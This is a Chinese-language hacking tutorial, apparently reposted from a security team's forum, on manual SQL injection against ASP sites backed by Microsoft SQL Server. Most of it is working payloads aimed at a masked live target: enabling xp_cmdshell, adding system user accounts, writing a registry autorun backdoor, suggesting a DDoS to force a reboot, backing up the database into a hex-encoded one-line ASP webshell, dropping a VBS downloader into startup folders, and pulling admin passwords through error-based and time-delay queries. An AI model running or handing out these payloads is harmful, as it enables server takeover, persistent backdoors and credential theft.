1. 程式人生 > >SQL手工注入基礎詳解----MSSQL篇

SQL手工注入基礎詳解----MSSQL篇

作者:DragonEgg
資訊來源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/
     一:注入點的判斷 
    當我們在URL後特殊字元或語句,使其報錯時,若在返回的資訊中有類似“[Microsoft][ODBC SQL Server Driver][SQL Server]”的字樣,關鍵在於:“Microsoft”和“SQL Server”,就可以判斷出目標為MSSQL資料庫。MSSQL通常和ASP指令碼搭配,也有和php或jsp搭配的,但很少見。我們還是從ASP+MSSQL入手。針對這種資料庫,許可權的判斷很重要,如果有足夠的許可權,我們就不用像ACCESS那樣逐字猜解那麼麻煩了。

二:有錯誤回顯的MSSQL
    對於MSSQL的注入點,無外乎這三種許可權:SA,DB_OENER,PUBLIC。SA(System Admin)許可權我們可以直接執行命令,DB_OENER許可權的話,我們可以找到WEB的路徑,然後用備份的方式得到webshell,有時也可以對登錄檔進行操作。PUBLIC許可權的話,又要面對表和列了,不過MSSQL比ACCESS的“猜”表方便許多,這裡是“暴”表,使目標直接暴出來。
    對於目標的許可權,我們需要用IS_SRVROLEMEMBER函式來判斷,我們提交:
    http://www.****.org/newshowlistgo_new.asp?id=5' and 1=(select IS_SRVROLEMEMBER('public'))--

    得到結果如圖17,顯示錯誤,說明不是public許可權,然後再把“public”換成“sysadmin”或“db_owner”進行測試,哪種返回正確,就是那種許可權,這裡是SA許可權。

    接下來我們繼續確定目標資料庫的版本號及作業系統,因為是顯錯模式的,我們提交語句:
    http://www.****.org/newshowlistgo_new.asp?id=5' and 1=convert(int,@@version)--
    即可返回我們需要的資訊,如圖18,

從返回的資訊我們可以清楚的判斷出目標資料庫的版本為MSSQL2000-8.00.2039,作業系統是Windows NT 5.0。
    還有要判斷目標是否支援多語句執行,提交:

    http://www.****.org/newshowlistgo_new.asp?id=5' declare @d int--
    如果返回正常,如果返回正常,說明這個注入點是支援多語句執行的。
    我們來看看在SA許可權下執行系統命令。首先想到的是“xp_cmdshell”這個儲存過程,先要判斷這個過程是否存在,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5' and 1=(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')--
    結果返回正常,如圖19,

這樣就好辦了,如果返回錯誤,可能是xp_cmdshell被刪除,我們可以用以下語句恢復:
    http://www.****.org/newshowlistgo_new.asp?id=5';exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'--
    返回結果正常就是恢復成功。否則需上傳xplog70.dll後執行: 
    ':exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;-- 
    你的xplog70.dll傳到哪裡就寫哪裡。接著利用xp_cmdshell執行系統命令了,為了安全這裡把埠情況顯示在web路徑下代替新增使用者,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5';exec master..xp_cmdshell 'netstat -an>>D:\chinagreenwood\netstat.txt'-- 
    如圖20,

這裡假設的是已經知道了web路徑。如果返回錯誤的話,我們還可以利用SP_OACreate過程,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5';declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dragonegg 123456 /add'--
    返回正常就是命令執行成功。然後就是連線3389或進行其它操作了。
    然後我們再看看DB許可權下如何操作。我們首先來試試xp_regwrite過程能不能用,在注入點執行:
    http://www.****.org/newshowlistgo_new.asp?id=5';exec master..xp_regwrite 'HKEY_LOCAL_MACHINE',''SOFTWARE\Microsoft\Windows\CurrentVersion\Run','adduser','REG_SZ','net user DragonEgg 123456 /add'--
    如果返回正常,我們就在目標伺服器登錄檔啟動項里加了一個新增使用者的命令,只要讓目標伺服器重啟即可,可以等它自己重啟,也可以用DDOS讓它重啟(慎用)。
    我們再看看備份資料獲取webshell的方法。備份資料庫前,我們要知道資料庫名,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5';and 1=convert(int,db_name())--
    返回資訊如圖21,

得到資料庫名。然後在獲取網站的路徑,語句如下:

  1. ;drop table dan_gege create table dan_gege(fn nvarchar(4000),d int,f int) declare @root nvarchar(4000) set @root=0x43003A00 insert into dan_gege exec master..xp_dirtree @root,1,1 update dan_gege set fn=fn+char(92) where f=0 drop table dan_gege create tabLe dan_gege(f nvarchar(4000))--
  2. ;declare @fn nvarchar(400),@f int,@r nvarchar(4000) set @r=char(9) declare cr cursor for select fn,f from dan_gege order by f,fn open cr fetch cr into @fn,@f while @@fetch_status=0 begin set @[email protected][email protected]+char(9) fetch cr into @fn,@f end close cr deallocate cr insert intO dan_gege(f) values(@r)--
  3. ;and (select top 1 f from dan_gege)=0--
  4. ;drop table t_tian6 drop table dan_gege--
複製程式碼

    結果如圖22,

大致思路是:建立一個dan_gege表,裡面有fn,d,f三個列,再將列出的目錄存到表裡,然後在暴表裡的內容,最後刪除表。“0x”代表十六進位制,“43003A00”是“C:\”的十六進位制格式,只要將“43003A00”換成我們想要列的目錄的十六進位制格式就可以了。大家可以使用“MSSQL手工注入查詢目錄輔助工具”來查詢目錄,如圖23。

不過有的時候,在加單引號時,會自己暴出WEB路徑。得到WEB路徑後,我們接下來就可以通過備份來獲取webshell,或者備份VBS下載者到目標伺服器的系統啟動項目錄裡。目前最常用的有兩種備份,分別為LOG備份和差異部分。而LOG備份比差異備份的成功率要高一些,因此大多數人使用LOG備份,LOG備份語句如下:
  1. ';alter database chinagreenwood set RECOVERY FULL--
  2. ';create table cmd (a image)--
  3. ';backup log chinagreenwood to disk = 'C:\sa1' with init--
  4. ';insert into cmd (a) values (0x273C25657865637574652072657175657374285E22335E2229253E27)--
  5. ';backup log chinagreenwood to disk = 'D:\chinagreenwood\1.asp'--
  6. ';drop table cmd--
複製程式碼

差異備份語句:
  1. ';drop table cmd--
  2. ';create table cmd (a image)--
  3. ';insert into cmd(a) values(0x273C25657865637574652072657175657374285E22335E2229253E27)--
  4. ';execute sp_makewebtask @outputfile='D:\chinagreenwood\1.asp','@query='select a from cmd'--
複製程式碼
    上面語句中的“273C25657865637574652072657175657374285E22335E2229253E27”就是一句話:“'<%execute request(^"3^")%>'”的十六進位制格式,注意是有單引號的,另外如果備份的資料庫名裡有特殊符號,如“-”就需要用[]將資料庫名包含起來,然後訪問1.asp,用一句話木馬客戶端連線就拿到了webshell。
    既然能備份成asp格式,那麼也就能備份成bat、vbs格式,將一句話的十六進位制程式碼用VBS下載者的十六進位制程式碼替換,把檔案儲存目錄改為系統的啟動項目錄,如:“C:\Documents and Settings\All Users\「開始」選單\程式\啟動\1.vbs”,當伺服器重啟時,就能執行我們的檔案了。最後再來看看PUBLIC許可權下的注入。MSSQL在PUBLIC許可權下和ACCESS一樣,只能和表打交道了,不過在MSSQL下,若是有錯誤回顯,我們便不用像access那樣一個一個子的去猜了,我們可以將資料內容直接暴出來。下面介紹兩種MSSQL暴資料的方法,名字是我自己想的不知道對不對。
1:錯誤回顯法
    確定目標是PUBLIC許可權後,在URL後加上“having 1=1--”提交,返回的資訊如圖24.

從回顯的資訊中我們可以看出類似“hyhdong.hyid”這樣的字樣,說明存在“hyhdong”這個表,表中有“hyid”這個列。那麼怎麼樣獲得其他列名呢?就要“group by”的配合了,我們提交如下語句:
    http://www.****.org/newshowlistgo_new.asp?id=5'group by hyhdong.hyid having 1=1--
    返回資訊如圖25,

從中可以看出又出現了一個“hytitle”列,繼續提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'group by hyhdong.hyid,hyhdong.hytitle having 1=1--
    就可以得到下一個列名,如圖26。

以此類推,直到程式報錯,沒有再回顯出新的列名時,列名就全部暴出來了。然而這只是得到當前一個表的列名,那麼其他表呢?我們要用到“information_schema”了。在程式中,若想要動態的得到某一個表的具體資訊,就是用到了information_schema資訊資料庫,而它當中又包含了許多表,我們用到的只有兩個:“information_schema.tables”和“information_schema.columns”。我們提交如下語句:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables))--
    convert()函式是把日期轉換為新的資料型別的通用函式,而查詢出的表名是字串,不是日期格式,程式就又報錯了,並暴出第一個表,得到的資訊如圖27。

從返回的資訊我們可以看到第一個表的表名為:“stycss”。我們繼續找第二個,提交如下URL:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('stycss')))--
    哈哈又出來一個,還是“admin”表,如圖28。

上面語句中的not in()函式是排除,不包括的意思,再去找第三個,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('stycss','admin')))--
    得到第三個表名,如圖29。

以此類推直到程式報錯,表就全部列出來了。現在來看看“admin”表,這個表是比較敏感的了,我們下一步就是得到這個表裡的列名,怎麼做呢?我們來提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='admin'))--
    得到返回的資訊如圖30。

爆出了第一個列名,接著暴第二個,再次提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='admin' where column_name not in('id'))--
    第二個也出來了,如圖31。

然後就按照上面語句中not in()函式的格式暴出所有的列,其中就有“password”列。暴出我們想要的列,然後後就是暴列裡面的內容,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 admin from admin))--
    可以看到第一個“admin”列的值為“admin”,如圖32。

再就是“password”列:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=convert(int,(select top 1 password from admin))--
    “password”的值是“friends”,如圖33。

接下來就是找後臺,拿webshell了。接下來看第二種方法:
2:預設系統表法
    在開始前我們先來認識下預設系統表—sysdatabases。sysdatabases是MSSQL預設系統表,包含“master”,“msdb”,“mssqlweb”,“empdb”,“model”這五個表,對應的bdid的值為1到5,使用者新建的資料庫從bdid=6開始,我們可以通過修改bdid的值來暴出庫名,語句為:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select name from master.dbo.sysdatabases where dbid=6)--
    最後在dbid=11時暴出我們需要的庫名為:“chinagreenwood”,如圖34。

接著暴資料庫中的表名,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.sysobjects where xtype='U')--
    爆出第一個表名:“stycss”如圖35,

接下來第二個表,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.sysobjects where xtype='U' and name not in('stycss'))--
    返回結果如圖36。

按照not in()函式的格式暴出所有的表。再下來就是暴表裡的列了,用預設系統表法暴表裡的列,需要利用目標表在資料庫的ID值來獲取表中的具體內容,提交的語句為:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select count(*) from chinagreenwood.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))--
    暴出的ID值為“1977058079”,如圖37。

再根據這個ID值來獲取列名,提交:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.syscolumns where id=1977058079)--
    返回結果如圖38所示,

暴出了第一個列名:“admin”,再按下面的語句暴出第二個:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select top 1 name from chinagreenwood.dbo.syscolumns where id=1977058079 and name not in('admin'))--
    如圖39,

再按照not in()函式的格式暴出所有的列,其中有“password”這個列。歷盡千辛萬苦,終於要見到勝利的輸曙光了,我們立即去暴列的內容:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select admin from chinagreenwood.dbo.admin where admin>1)--
    可能有點亂,上句語句中,有三個admin,第一個admin是列名,第二個是表名,第三個也是列名。暴出值還為“admin”,如圖40。

汗一個,這管理員太懶了。然後我們再暴當“admin”列的值為“admin”時,“password”列的值,語句如下:
    http://www.****.org/newshowlistgo_new.asp?id=5'and 1=(select admin from chinagreenwood.dbo.admin where admin='admin' and password>1)--
    如圖41,

暴出了當“admin”列的值為“admin”時,“password”列的值為“friends”。舉一反三,要暴列內別的列的內容時,將“password”換成要暴的列名。到此為止,我們需要的東西就都出來了,但是我們找的注入點沒有回顯怎麼辦?大家別急,繼續向下看。
三、無錯誤回顯的MSSQL
    並不是所有的MSSQL注入點都有錯誤回顯的,當大家在URL後輸入類似的SQL語句,就會彈出對話方塊(不是那種防注入警告框)、轉到另一個頁面或只剩下基本的頁面框架,不顯示內容等,這就是碰到了無錯誤回顯的MSSQL注入點,如圖42。

對於這樣的注入點,多數情況下我們只剩下了一個辦法,那就是“猜”,無錯誤回顯的MSSQL注入點的“猜”也被稱為盲注。怎麼猜呢?就是利用前面ACCESS介紹的ASCII逐字猜解法去猜。這裡給大家介紹另一種方法—時間差判斷法(名字還是我想的=,=!)
    時間差判斷法就是利用IF判斷語句結合時間差進行判斷,根據反應的時間,來判斷我們的語句是否成功執行。在URL後加上延遲執行語句,提交:
    http://www.****365.com/new_new.asp?id=166;waitfor delay '0:0:5'--
    提交後會發現重新整理的時間明顯會慢些,因為“waitfor delay '0:0:5'”的意思是延遲5秒再執行SQL語句,由此判斷出我們的語句被成功帶入SQL語句中執行,這意味著我們可以繼續利用時間差判斷法來判斷。如提交:
    http://www.****365.com/new_new.asp?id=166;if(lower(ascii(substring(user),N,1))>97) waitfor delay '0:0:5'--
    這是判斷第N位的ASCII碼是不是大於97.在實際應用中,把user換成我們的猜解語句就可以,我們使用的啊D、NBSI等工具都自帶盲注猜解工具。如果大家深入的研究就會發現,盲注的威力是很大的。

相關推薦

SQL手工注入基礎----MSSQL

作者:DragonEgg資訊來源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/     一:注入點的判斷     當我們在URL後特殊字元或語句,使其報錯時,若在返回的資訊中有類似“[Microsoft][OD

SQL手工注入基礎

0.前言 本篇博文是對SQL手工注入進行基礎知識的講解,更多進階知識請參考進階篇(咕咕),文中有誤之處,還請各位師傅指出來。學習本篇之前,請先確保以及掌握了以下知識: 基本的SQL語句 HTTP的GET、POST請求,URL編碼 文中所有例題選自sqlilab,可以先配置好一起邊看邊操作。因為

Flutter 之 Dart語言基礎

開發十年,就只剩下這套架構體系了! >>>   

Java程式設計師從笨鳥到菜鳥之(一百)sql注入攻擊(一)sql注入原理

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow 也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!        

Java程式設計師從笨鳥到菜鳥之(一百零二)sql注入攻擊(三)sql注入解決辦法

                在前面的部落格中,我們詳細介紹了:      我們瞭解了sql注入原理和sql注入過程,今天我們就來了解一下sql注入的解決辦法。怎麼來解決和防範sql注入,由於本人主要是搞java web開發的小程式設計師,所以這裡我只講一下有關於java web的防止辦法。其實對於其他的,

Java程式設計師從笨鳥到菜鳥之(一百零一)sql注入攻擊(二)sql注入過程

l 猜解資料庫中使用者名錶的名稱猜解法:此方法就是根據個人的經驗猜表名,一般來說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysu

sql注入攻擊(二)sql注入過程

l 猜解資料庫中使用者名錶的名稱 猜解法:此方法就是根據個人的經驗猜表名,一般來說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sys

每天五個java相關面試題(9)--java基礎1

接下來會系統的總結java基礎,然後過兩天會開始從新開始複習前端並更新和總結一些關於前端的基礎知識和麵試題,嗯嗯我是一個想走前端的後端java工程師啊哈哈。馬上開學大四了,lz我要加油啦~ 接下來的面試題會學習我們班小夥伴的好學習方法,一個個刨根問底了,理清楚

sql注入原理(一)

一、什麼是sql注入呢?         所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令,比如先前的很多影視網站洩露VIP會員密碼大多就是通過WEB表單遞交查詢字元暴出的,這類表單特別容易受到S

每天五個java相關面試題(10)--java基礎2

好勒好勒。一起加油 一、HashMap和Hashtable的區別。 答: HashMap是Hashtable的輕量級實現(非執行緒安全的實現),他們都完成了Map介面,主要區別在於HashMap允許空(null)鍵值(key),由於非執行緒安全,效率上

SQL手工注入---表的猜

手工注入過程 找到注入點→表名→列名→列長度→列值 猜解表名 http://www.xxx.com/index.asp?id=1 and exists(select * from 猜測的表名) exi

sql注入攻擊(一)sql注入原理

一、什麼是sql注入呢?         所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令,比如先前的很多影視網站洩露VIP會員密碼大多就是通過WEB表單遞交查詢字元暴出的,這類表單特別容易受

Sql注入系列(一)---基於時間差的盲注

Sql 基於時間的盲注 基於的原理是,當對資料庫進行查詢操作,如果查詢的條件不存在,語句執行的時間便是0.但往往語句執行的速度非常快,執行緒資訊一閃而過,得到的執行時間基本為0. 例如: 於是sleep(N)這個語句在這種情況下起到了非常大的作用。  Select s

SQL手工注入進階

0.前言   上一篇我們介紹了SQL手工注入的流程以及步驟,但在實際的安全問題以及CTF題目中,查詢語句多種多樣,而且是肯定會對使用者的輸入進行一個安全過濾的,而這些過濾並不一定是百分百安全的,如何利用一些技巧繞過一些安全過濾,這就是我們這一篇要介紹的事情。   如果你還不熟悉SQL注入的流程以及步驟,請

Spark-Sql之DataFrame實戰

集合 case 編程方式 優化 所表 register 操作數 print ava 1、DataFrame簡介: 在Spark中,DataFrame是一種以RDD為基礎的分布式數據據集,類似於傳統數據庫聽二維表格,DataFrame帶有Schema元信息,即DataFram

vim基礎

退出 代碼 舉例 soc 成了 grey 好用 ica 執行命令 目錄: 什麽是vim Vim能做什麽 如何學習vim 如何用vim打開一個文件 Vim的三種模式 插入模式 命令模式 擴展命令模式 光標

PL/SQL 遊標的使用

四個步驟 語法 list %type 查詢 dbms 打開 def default 一:通過遊標,PL/SQL 指向語句被分析以後的活動集 二:對於不同的SQL語句,遊標的使用情況不同:1:非查詢語句--隱式的2:結果是單行的查詢語句--隱式的或顯式的3:結果是多行的查詢語

C文件操作基礎·········關於fopen,fwrite,,fseek,fgetc的使用。

基礎 user fseek fse app c2c etc 基礎詳解 open 05Y1L7j蝕3UKAhttp://huiyi.docin.com/sina_6355806917 Q托9MCS南9善EU晃喲http://huiyi.docin.com/qfptt159

PL/SQL loop循環

重新 包含 proc out 語法 pre 操作 bool output 在PL/SQL中可以使用LOOP語句對數據進行循環處理,利用該語句可以循環執行指定的語句序列。常用的LOOP循環語句包含3種形式:基本的LOOP、WHILE...LOOP和FOR...LOOP。